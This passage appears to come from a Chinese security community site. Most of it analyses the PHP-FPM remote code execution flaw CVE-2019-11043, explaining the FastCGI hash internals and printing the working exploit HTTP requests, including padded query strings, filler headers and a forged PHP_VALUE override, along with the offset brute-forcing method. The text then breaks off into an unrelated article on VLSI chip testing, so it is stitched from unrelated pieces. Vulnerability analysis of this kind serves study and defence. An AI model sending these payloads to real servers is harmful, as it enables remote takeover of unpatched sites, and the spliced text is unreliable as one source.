但是这并没有什么用，并不会带来漏洞利用的可能性。
但是需要注意到如下的操作:
这里把 `path_info` 执行的内存地址的第一个字节，先修改成为 `\x0`，然后再修改回原来的值。其实这就是一个任意地址写漏洞，不过限制有两个：
1. 只能在`env_path_info`之前的某个位置改一个字节，并且只能把这个字节修改为`\x0`
2. 因为后面还有把这个字节改回来的操作，所以改这一个字节产生的影响的必须在改回来之前就已经被触发了。也就是函数调用 `FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name);` 或者 `SG(request_info).request_uri = FCGI_PUTENV(request, "SCRIPT_NAME", env_path_info);` 会用到这个被修改的这一个字节，造成漏洞。
这里面有一个函数调用 `FCGI_PUTENV`, 为了搞清楚这个函数，需要先看几个结构体:
struct _fcgi_request {
int listen_socket;
int tcp;
int fd;
int id;
int keep;
#ifdef TCP_NODELAY
int nodelay;
#endif
int ended;
int in_len;
int in_pad;
fcgi_header *out_hdr;
unsigned char *out_pos;
unsigned char out_buf[1024*8];
unsigned char reserved[sizeof(fcgi_end_request_rec)];
fcgi_req_hook hook;
int has_env;
fcgi_hash env;
};
typedef struct _fcgi_hash {
fcgi_hash_bucket *hash_table[FCGI_HASH_TABLE_SIZE];
fcgi_hash_bucket *list;
fcgi_hash_buckets *buckets;
fcgi_data_seg *data;
} fcgi_hash;
typedef struct _fcgi_hash_buckets {
unsigned int idx;
struct _fcgi_hash_buckets *next;
struct _fcgi_hash_bucket data[FCGI_HASH_TABLE_SIZE];
} fcgi_hash_buckets;
typedef struct _fcgi_data_seg {
char *pos;
char *end;
struct _fcgi_data_seg *next;
char data[1];
} fcgi_data_seg;
typedef struct _fcgi_hash_bucket {
unsigned int hash_value;
unsigned int var_len;
char *var;
unsigned int val_len;
char *val;
struct _fcgi_hash_bucket *next;
struct _fcgi_hash_bucket *list_next;
} fcgi_hash_bucket;
结合如上的结构，就对如下代码进行一个简单的分析。
对于每一个 fastcgi 的全局变量，都会先对变量名进行一个 `FCGI_HASH_FUNC` 计算，计算一个 idx
索引。`request.env.hash_table`其实是一个hashmap，在里面对应的 idx 位置存储着全局变量对应的
`fcgi_hash_bucket` 结构的地址。
打印一下来调试一下验证这一点：
#define FCGI_PUTENV(request, name, value) \
fcgi_quick_putenv(request, name, sizeof(name)-1, FCGI_HASH_FUNC(name, sizeof(name)-1), value)
#define FCGI_HASH_FUNC(var, var_len) \
(UNEXPECTED(var_len < 3) ? (unsigned int)var_len : \
(((unsigned int)var[3]) << 2) + \
(((unsigned int)var[var_len-2]) << 4) + \
(((unsigned int)var[var_len-1]) << 2) + \
var_len)
char* fcgi_quick_putenv(fcgi_request *req, char* var, int var_len, unsigned int hash_value, char* val)
{
if (val == NULL) {
fcgi_hash_del(&req->env, hash_value, var, var_len);
return NULL;
} else {
return fcgi_hash_set(&req->env, hash_value, var, var_len, val, (unsigned int)strlen(val));
}
}
static char* fcgi_hash_set(fcgi_hash *h, unsigned int hash_value, char *var, unsigned int var_len, char *val, unsigned int val_len)
{
unsigned int idx = hash_value & FCGI_HASH_TABLE_MASK; // 127
fcgi_hash_bucket *p = h->hash_table[idx];
while (UNEXPECTED(p != NULL)) {
if (UNEXPECTED(p->hash_value == hash_value) &&
p->var_len == var_len &&
memcmp(p->var, var, var_len) == 0) {
p->val_len = val_len;
p->val = fcgi_hash_strndup(h, val, val_len);
return p->val;
}
p = p->next;
}
if (UNEXPECTED(h->buckets->idx >= FCGI_HASH_TABLE_SIZE)) {
fcgi_hash_buckets *b = (fcgi_hash_buckets*)malloc(sizeof(fcgi_hash_buckets));
b->idx = 0;
b->next = h->buckets;
h->buckets = b;
}
p = h->buckets->data + h->buckets->idx; // 找一个存储全局变量的空闲位置
h->buckets->idx++;
p->next = h->hash_table[idx];
h->hash_table[idx] = p;
p->list_next = h->list;
h->list = p;
p->hash_value = hash_value;
p->var_len = var_len;
p->var = fcgi_hash_strndup(h, var, var_len); // 保存 key
p->val_len = val_len;
p->val = fcgi_hash_strndup(h, val, val_len); // 保存 val
return p->val;
}
static inline char* fcgi_hash_strndup(fcgi_hash *h, char *str, unsigned int str_len)
{
char *ret;
if (UNEXPECTED(h->data->pos + str_len + 1 >= h->data->end)) { //FCGI_HASH_SEG_SIZE = 4096
unsigned int seg_size = (str_len + 1 > FCGI_HASH_SEG_SIZE) ? str_len + 1 : FCGI_HASH_SEG_SIZE;
fcgi_data_seg *p = (fcgi_data_seg*)malloc(sizeof(fcgi_data_seg) - 1 + seg_size);
p->pos = p->data;
p->end = p->pos + seg_size;
p->next = h->data;
h->data = p;
}
ret = h->data->pos; // 获取起始位置
memcpy(ret, str, str_len);
ret[str_len] = 0;
h->data->pos += str_len + 1;
return ret;
}
注意 `request.env.hash_table` 里面存储的是一系列的地址
2019-10-29-00-09-30.png
但是这个地址分配在哪里呢？注意看如下结构体和代码:
typedef struct _fcgi_hash {
fcgi_hash_bucket *hash_table[FCGI_HASH_TABLE_SIZE];
fcgi_hash_bucket *list;
fcgi_hash_buckets *buckets;
fcgi_data_seg *data;
} fcgi_hash;
typedef struct _fcgi_hash_buckets {
unsigned int idx;
struct _fcgi_hash_buckets *next;
struct _fcgi_hash_bucket data[FCGI_HASH_TABLE_SIZE];
} fcgi_hash_buckets;
static char* fcgi_hash_set(fcgi_hash *h, unsigned int hash_value, char *var, unsigned int var_len, char *val, unsigned int val_len)
{
unsigned int idx = hash_value & FCGI_HASH_TABLE_MASK; // 127
fcgi_hash_bucket *p = h->hash_table[idx];
.....
p = h->buckets->data + h->buckets->idx; // 找一个存储全局变量的空闲位置
h->buckets->idx++;
p->next = h->hash_table[idx];
h->hash_table[idx] = p;
p->list_next = h->list;
h->list = p;
p->hash_value = hash_value;
p->var_len = var_len;
p->var = fcgi_hash_strndup(h, var, var_len); // 保存 key
p->val_len = val_len;
p->val = fcgi_hash_strndup(h, val, val_len); // 保存 val
return p->val;
}
从这些代码中可以看出 `request.env.buckets.data` 这个数组里面就保存了每个全局变量的对应的 `fcgi_hash_bucket`
结构。
接下来继续分析，发现 `request.env.buckets.data[n].var` 和
`request.env.buckets.data[n].val` 里面分别存贮这全局变量名的地址，和全局变量值的地址，这个地址是由
`fcgi_hash_strndup` 函数分配得来的。
static inline char* fcgi_hash_strndup(fcgi_hash *h, char *str, unsigned int str_len)
{
char *ret;
if (UNEXPECTED(h->data->pos + str_len + 1 >= h->data->end)) { //FCGI_HASH_SEG_SIZE = 4096
unsigned int seg_size = (str_len + 1 > FCGI_HASH_SEG_SIZE) ? str_len + 1 : FCGI_HASH_SEG_SIZE;
fcgi_data_seg *p = (fcgi_data_seg*)malloc(sizeof(fcgi_data_seg) - 1 + seg_size);
p->pos = p->data;
p->end = p->pos + seg_size;
p->next = h->data;
h->data = p;
}
ret = h->data->pos; // 获取起始位置
memcpy(ret, str, str_len);
ret[str_len] = 0;
h->data->pos += str_len + 1;
return ret;
}
从这个代码中可以看出，`request.env.data` 对应的结构体:
typedef struct _fcgi_data_seg {
char *pos;
char *end;
struct _fcgi_data_seg *next;
char data[1];
} fcgi_data_seg;
是专门用来存储 fastcgi 全局变量的变量名和变量值的一个结构。 如果对c语言比较熟悉，就会明白，这里的`char
data[1]`并不是表明此元素只占一个字节，这是c语言中定义包含不定长字符串的结构体的常用方法。pos 始终指向了data未使用空间的起始位置。
我感觉我还是没说清楚，画个图吧,假设存储了全局变量 `PATH_INFO`之后(为了方便看，我把data字段横着放了)
+---------------------+
| pos |--------------------------------------------+
+---------------------+ |
| end | |
+---------------------+ |
| next = 0 | |
+---------------------+-------------------------|------------------+-------——+
| data = xxxx |SCRIPT_NAME\0/index.php\0|PATH_INFO\0/test\0|未使用空间 |
+---------------------+-------------------------|------------------+---------+
这也就可以解释为什么所有的全局变量对应的 `fcgi_hash_buckets` 中的 `var`和`val`的值总是连续的地址空间。
根据 <https://bugs.php.net/bug.php?id=78599> 中的漏洞描述，他是修改了 `fcgi_hash_buckets`
结构中 `pos` 的最低位，实现的`request`全局变量的污染。我们再来看一下函数 `fcgi_hash_strndup`,如果可以控制`ret =
h->data->pos;` 那么就可以控制 `memcpy(ret, str, str_len);`的写入位置，肯定有机会实现全局变量的污染。
那接下来就需要分析一下可行性了：
1. `env_path_info` 指针向前移动，有机会指向 `fcgi_data_seg.pos`的位置吗？
答案是肯定的，因为 `env_path_info`
指向了`fcgi_data_seg.data`中间的某个位置，他们都是在`fcgi_data_seg`结构体空间内的，
这是一个相差不太远的线性空间，只要控制合适的偏移，一定可以指向`fcgi_data_seg.pos`的低字节。
1. 只有 `fcgi_hash_strndup` 被调用之后，才会进行`memcpy`,在我们上面提到的第二个限制条件下，`fcgi_hash_strndup` 会被调用到吗？
分析一下代码会发现，只有当注册新的fastcgi全局变量的时候，才会调用`fcgi_hash_strndup`,但是非常的凑巧，`FCGI_PUTENV(request,
"ORIG_SCRIPT_NAME", orig_script_name);` 正好注册了新的变量 `ORIG_SCRIPT_NAME`。
这个真是太凑巧了，没有这个函数调用，此漏洞根本没有办法被这么利用。
### 0x5 巧妙的EXP
**接下来的部分才是这篇文章最有意思的部分**
经过上面的分析，我们已经从理论上证明了可以污染`request`，但是我们没法实现攻击，因为不知道 `env_path_info`相对于
`fcgi_data_seg.pos`的偏移，另外环境不一样，这个偏移也不会是个恒定值。 那能不能让它变成一个恒定值呢？
我们想一下 `env_path_info`相对于 `fcgi_data_seg.pos`
之间偏移不确定的主要原因是什么？是因为我们不清楚`env_path_info` 之前的位置都存储了哪些全局变量的 var 和 val，他们是多长。但是如果
`PATH_INFO`全局变量可以存储在 `fcgi_data_seg.data`的开头，那情况就不一样了,如下图所示：
char *pos
------------- +8
char *end
------------- +8
char *next
------------- +8
PATH_INFO\x00
------------- +10
\x00 <---- env_path_info
-------------
可以看到 `env_path_info` 和 `fcgi_data_seg.pos` 的地址的最低字节相差 34，这就是一个恒定值。
那目标就是要让`PATH`存储在 `fcgi_data_seg.data` 的首部，这样偏移就确定了。能否办到呢？
来再看一下如下代码:
static inline char* fcgi_hash_strndup(fcgi_hash *h, char *str, unsigned int str_len)
{
char *ret;
if (UNEXPECTED(h->data->pos + str_len + 1 >= h->data->end)) { //FCGI_HASH_SEG_SIZE = 4096
unsigned int seg_size = (str_len + 1 > FCGI_HASH_SEG_SIZE) ? str_len + 1 : FCGI_HASH_SEG_SIZE;
fcgi_data_seg *p = (fcgi_data_seg*)malloc(sizeof(fcgi_data_seg) - 1 + seg_size);
p->pos = p->data;
p->end = p->pos + seg_size;
p->next = h->data;
h->data = p;
}
ret = h->data->pos; // 获取起始位置
memcpy(ret, str, str_len);
ret[str_len] = 0;
h->data->pos += str_len + 1;
return ret;
}
初始化的时候 `fcgi_data_seg` 的结构体大小是 `sizeof(fcgi_data_seg) - 1 + seg_size` ，考虑一下
0x10 对齐，所以大小应该是 `4096+32` 。 如果在存储 `PATH_INFO` 的时候，刚好空间不够用，也就是 `h->data->pos +
str_len + 1 >= h->data->end`，那么就会触发一次malloc，分配一块新的chunk，并且 `PATH_INFO`
就会存储在这个堆块的首部。
但是攻击者是盲测的，攻击者怎么知道什么时候触发了 `malloc` ？有没有什么标志特征呢？这就要看这个巧妙的poc了。
GET /index.php/PHP%0Ais_the_shittiest_lang.php?QQQQQQQQQQQQQQQQQQQ... HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0
D-Pisos: 8=D
Ebut: mamku tvoyu
利用这个payload，爆破 Q 的个数，直到 php-fpm 产生一次crash( 也就是返回404状态的时候),就说明产生了
`malloc`。为什么是这样的？
首先需要知道 Q 会在fastcgi的两个全局变量中出现,分别是 `QUERY_STRING` 和 `REQUEST_URI`两个地方出现。
增加 Q 的个数，势必会占用之前的 `fcgi_data_seg.data` 的存储空间，导致在存储 `PATH_INFO`
的时候，原本的空间不够用，malloc新的空间。但是为什么 crash 的时候，就一定进行了`malloc`操作了呢？
这个精妙之处就需要看payload中的URL `/PHP%0Ais_the_shittiest_lang.php`, 此字符串的长度表示
`env_path_info` 向前移动的字节数，这里长度是`30`, 可以计算一下 `env_path_info - 30` 刚好是
`fcgi_data_seg.pos`
的第五个字节,用户态的地址一般只用了六个字节，这里把第五个字节设置为`\x00`，一定会引起一个地址非法，所以就会造成一次崩溃。所以在崩溃的时候，肯定是发生了`malloc`，并且是修改掉了`fcgi_data_seg.pos`的第五个字节。
造成第一次crash的payload如下:
GET /index.php/PHP%0Ais_the_shittiest_lang.php?QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0
D-Pisos: 8=D
Ebut: mamku tvoyu
已经修改成功了。
好，我们尝试一下去修改pos的第一个字节，那么 `/PHP%0Ais_the_shittiest_lang.php` 应该被扩充到
`34`个字节，尝试伪造请求如下：
GET /index.php/PHP%0Ais_the_shittiest_lang.phpxxxx?QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0
D-Pisos: 8=D
Ebut: mamku tvoyu
这下见证奇迹的时刻到了,在`b
/usr/src/php/sapi/fpm/fpm/fpm_main.c:1220`上打上断点，然后单步进行调试，修改前如下图：
修改后:
哎，搞了这么久，终于把这个破 `pos` 指回去了，可以修改内存中的数据了。
但是问题来了，我们修改点什么才能造成危害呢？ 首先想到的就是修改`PHP_VALUE` ，但是当前的全局变量中并没有 `PHP_VALUE` 啊,那怎么办？
我们来看一下取全局变量的函数。
#define FCGI_GETENV(request, name) \
fcgi_quick_getenv(request, name, sizeof(name)-1, FCGI_HASH_FUNC(name, sizeof(name)-1))
char* fcgi_getenv(fcgi_request *req, const char* var, int var_len)
{
unsigned int val_len;
if (!req) return NULL;
return fcgi_hash_get(&req->env, FCGI_HASH_FUNC(var, var_len), (char*)var, var_len, &val_len);
}
static char *fcgi_hash_get(fcgi_hash *h, unsigned int hash_value, char *var, unsigned int var_len, unsigned int *val_len)
{
unsigned int idx = hash_value & FCGI_HASH_TABLE_MASK;
fcgi_hash_bucket *p = h->hash_table[idx];
while (p != NULL) {
if (p->hash_value == hash_value &&
p->var_len == var_len &&
memcmp(p->var, var, var_len) == 0) {
*val_len = p->val_len;
return p->val;
}
p = p->next;
}
return NULL;
}
我们需要伪造一个变量，它跟`PHP_VALUE`的hash一样，并且字符串长度相同，那么在取 `PHP_VALUE`
的时候就会找到我们伪造的变量的idx索引，但是还是过不了`memcmp(p->var, var, var_len) == 0)`
这个check，不过这个没有关系，我们不是有内存写吗？直接覆盖掉原来变量的`var`即可。
EXP中伪造的变量是 `HTTP_EBUT` (http的头字段都会被加上 HTTP_ , 然后大写，注册成变量的),
它和`PHP_VALUE`的长度相同，并且hash一样，不信你可以用hash函数算一下。
#define FCGI_HASH_FUNC(var, var_len) \
(UNEXPECTED(var_len < 3) ? (unsigned int)var_len : \
(((unsigned int)var[3]) << 2) + \
(((unsigned int)var[var_len-2]) << 4) + \
(((unsigned int)var[var_len-1]) << 2) + \
var_len)
解决了覆盖内容的问题，但是还有一个问题没有解决，怎么能够让`pos`的末尾字节变为0之后，恰好指向全局变量`HTTP_EBUT`呢？方法还是爆破。发送payload如下：
GET /index.php/PHP_VALUE%0Asession.auto_start=1;;;?QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0
D-Pisos: 8===========================================================D
Ebut: mamku tvoyu
不断的增加`D-Pisos`的长度，把 `HTTP_EBUT` 的存储位置向后挤，当返回的响应中出现 `Set-Cookie`
字段的时候，就说明偏移正确了，覆盖成功。
这一点在内存布局上，也可以直接得到验证。
这`HTTP_D_PISOS` 就是为了占位置的,把 `HTTP_EBUT` 向后面挤。
当服务器返回`Set-Cookie`头的时候，就说明了`PHP_VALUE` 覆盖成功了。
再往后面，就是web方面的知识了，就是控制了`PHP_VALUE`的情况下怎么getshell，这里感觉不能使用`php://input`进行rce，经过朋友的提示，可能是因为
`/PHP_VALUE%0Aauto_prepend_file=php://input` 的长度太长了，超过了 34 个字节。
### 0x6 总结
这个漏洞原本只是一个任意地址的单字节置NULL的漏洞，经过外国大佬的一步步寻挖掘，将影响一步一步变大，实现了一个范围内地址可写。同时利用可写范围内的数据特殊性质，最后导致RCE。
更加精妙的是漏洞利用过程，在盲打的情况下，巧妙的利用一些web知识和二进制知识，寻找爆破的边界条件，找到出内存中合适的偏移，
最终实现了RCE，不得不佩服国外大佬的 @Andrew Danau 的技术追求和技术能力。
### 0x7 参考文献
<https://paper.seebug.org/1063/>
<https://github.com/php/php-src/commit/ab061f95ca966731b1c84cf5b7b20155c0a1c06a#diff-624bdd47ab6847d777e15327976a9227>
<http://www.mit.edu/~yandros/doc/specs/fcgi-spec.html>
<https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html>
<http://www.rai4over.cn/2019/10/25/php-fpm-Remote-Code-Execution-%E5%88%86%E6%9E%90-CVE-2019-11043/>
<https://github.com/neex/phuip-fpizdam>
<https://bugs.php.net/bug.php?id=78599> | 社区文章 |
# 硬件安全系列 第四篇 Background on VLSI Testing
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
这篇文章关于VLSI
Testing，内容不是特别多也不是特别详细，主要就是有些概念之类的知道就好，后面的DFT部分感兴趣可以继续研究一下，内容十分多。想要看安全部分的师傅可以等下一篇，下一篇是
Scan-Based Side-Channel Attack。
## VLSI Testing
为什么要介绍VLSI Testing：加密芯片的测试基础设施可以成为泄露芯片秘密信息的后门
### 基本内容
**测试内容**
逻辑是否有误，电路故障
**测试周期**
首先是VLSI从需求到问世的生产过程
用户需求-选择需求-计划-设计验证-测试开发-生产-生产测试-面向市场
然后是设计过程
概念-设计-功能实现 设计验证过程
功能实现-功能集成-电阻晶体管设计 电阻晶体管逻辑验证 wafer
电阻晶体管设计-逻辑集成-逻辑门与逻辑网络 逻辑验证 chip
逻辑门与逻辑网络-整体布局-实现布局 布局验证 PCB
实现布局-生产-产品 产品测试 Sytem
其中有一个十倍理论：每一个过程比上一个过程需要的维修替换成本高出十倍，在当今更是远远超过十倍。所以生产过程的测试是为了以最少的成本保证高质量高可靠性。
**Defect, Yield and Defect Level**
Defect从不同层次上看可以称作缺陷，错误和故障。缺陷是硬件层次存在问题。错误是输出信号错误，故障是功能故障
其中功能故障存在多种情况：信号滞留故障，信号桥接故障，延迟故障，卡开卡短故障。
Yield是在生产过程中没有缺陷的芯片比例。计算方式是每单位区域的芯片平均缺陷数乘以芯片区域大小乘以测试区域除以故障参数加1取负的故障参数次幂。
Defect
level是表示每百万件芯片有多少件有缺陷。计算方式有两种：一种是记录生产的芯片有缺陷的个数，根据总的芯片数量归一化为每百万。另一种是根据良率计算，公式为当前测试区域的良率减去当测量区域为1时的良率除以当前区域良率。
**测试方法**
最基本的思路：预设结果和实际结果异或操作
功能测试：通过验证回显和预设正常的模板判断是否存在缺陷。随着电子电路的功能增加，需要验证的输入输出也增加，所以功能测试变得不再适宜。
结构测试：根据逻辑门类型，连接情况，网络结构简化功能测试进行测试。
根据功能测试，我们要验证ABC的输入和S和cout的输出，也就是129个输入65个输出，也就有2 ^129和2 ^65情况，显然是一个巨大的工作量。
如果使用结构测试，对于每一位的01存在18个节点，36个状态，再根据逻辑门性质（and有0出0，or有1出1），36种状态中有9个状态只需要考虑1或者0的状态。所以只需要27个状态，再加上是64位，存在27*64种情况需要验证，显然比功能测试少。
**可控可观察程度**
可控程度是指控制输入为0/1的容易程度
可读程度是指通过输出判断节点信息的容易程度
